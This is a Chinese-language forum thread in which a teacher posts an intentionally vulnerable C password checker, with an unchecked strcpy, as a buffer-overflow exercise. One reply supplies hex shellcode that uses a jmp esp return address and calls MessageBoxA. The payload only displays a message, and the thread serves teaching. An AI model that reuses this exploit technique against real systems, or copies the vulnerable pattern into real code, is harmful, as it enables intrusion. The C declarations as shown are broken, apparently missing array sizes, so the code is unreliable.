小甲鱼 发表于 2012-8-8 22:15:11

悬赏一百鱼币,大家一起学习C语言溢出漏洞的利用,有木有?!

溢出后如下图:




含有溢出漏洞的C代码:
#include <stdio.h>
#include <string.h>
#include <windows.h>

#define PASSWORD "I_love_www.fishc.com"

int check_password( char *password )
{
      int flag;
      char buffer;

      flag = strcmp( password, PASSWORD );
      strcpy( buffer, password );

      return flag;
}

int main()
{
      int flag = 0;
      char password;
      FILE *fp;

      LoadLibrary("user32.dll");

      if( !(fp = fopen("password.txt", "rw+")) )
      {
                printf("Can not open password.txt!\n");
                return 0;
      }
      
      fscanf( fp, "%s", password );
      flag = check_password( password );

      if( flag )
      {
                printf("Incorrect password!\n");
      }
      else
      {
                printf("Congratulation!\n");
      }

      fclose(fp);

      return 0;
}

要求:编辑password.txt文件,运行程序,实现截图界面!
**** Hidden Message *****


五月跳回家 发表于 2012-8-8 22:15:12

本帖最后由 五月跳回家 于 2012-8-9 11:24 编辑

shellcode "\x66\x69\x73\x68"//前面填充80个字节栈
"\x12\x45\xfa\x7f"//jmp esp(原eip)
"\x33\xDB\x53"//xor ebx,ebx
"\x68\x63\x6F\x6D\x21"//push    216D6F63
"\x68\x73\x68\x63\x2E"//push    2E636873
"\x68\x6F\x5F\x66\x69"//push    69665F6F
"\x68\x6D\x65\x5F\x74"//push    745F656D
"\x68\x65\x6C\x63\x6F"//push    6F636C65
"\x68\x5E\x5F\x5E\x77"//push    775E5F5E;   ascii ^_^welcome_to_fishc.com!
"\x8B\xC4"//mov   eax, esp
"\x53"//push    ebx
"\x50"//push    eax
"\x50"//push    eax
"\x53"//push    ebx
"\xB8\x11\xEA\x34\x75"//mov eax,0x7534EA11 ;   我电脑上MessageBoxA的地址
"\xFF\xD0"//call eax
"\x53"//push      ebx
"\xB8\xFA\xCA\x81\x7C"//mov   eax, 7C81CAFA
"\xFF\xD0";//call eax;      exit(0)

Ning 发表于 2012-8-8 22:20:22

诱惑 挺大的坐等大牛现身!

颓废的青春 发表于 2012-8-8 22:24:24

终于有动力学习啦{:5_108:}

hostmi 发表于 2012-8-8 22:25:42

坐等大牛来~~~小甲鱼什么时候可以把delphi的教程搬过去呢,期待

dongrui 发表于 2012-8-8 22:26:50

最近在看甲鱼哥的汇编,c语言搞到链表吧,文件操作略有接触,对溢出目前茫然。。。

□为 发表于 2012-8-8 22:29:42

先留个名,嘿嘿:lol

颓废的青春 发表于 2012-8-8 22:31:41

不是原来另加300鱼币的吗,怎么改了{:5_94:}

a22271001 发表于 2012-8-8 22:31:47

刚刚还没隐贴的啊

Sen1993 发表于 2012-8-8 22:34:48

这么好玩啊 看看{:1_1:}{:1_1:}

lukelqz 发表于 2012-8-8 22:35:17

{:2_36:}留个名吧。c不熟

閑庭信步 发表于 2012-8-8 22:37:37

有意思一定要顶起啊!

神的现身 发表于 2012-8-8 22:42:57

表示不懂。。。。。。

小淘 发表于 2012-8-8 22:44:07

老师已经把程序写出来了。

小甲鱼 发表于 2012-8-8 22:49:07

颓废的青春 发表于 2012-8-8 22:31 static/image/common/back.gif
不是原来另加300鱼币的吗,怎么改了

{:5_109:}算算难度好像没那么大,所以改200鱼币~

小甲鱼 发表于 2012-8-8 22:49:51

小淘 发表于 2012-8-8 22:44 static/image/common/back.gif
老师已经把程序写出来了。

{:5_103:}要求编辑读取的password.txt利用程序的溢出漏洞加入规定的内容~

【red_hat】田野 发表于 2012-8-8 22:51:42

还没有接触者东西呢

wslray 发表于 2012-8-8 22:53:21

嗯?。。。

1144290241 发表于 2012-8-8 22:55:00

看看,说不定咱也能拿到手呢

颓废的青春 发表于 2012-8-8 23:01:29

小甲鱼 发表于 2012-8-8 22:49 static/image/common/back.gif
算算难度好像没那么大,所以改200鱼币~

我感觉挺难的,好像涉及到汇编知识,什么堆栈之类的啦
页: [1] 2 3 4 5 6 7
查看完整版本: 悬赏一百鱼币,大家一起学习C语言溢出漏洞的利用,有木有?!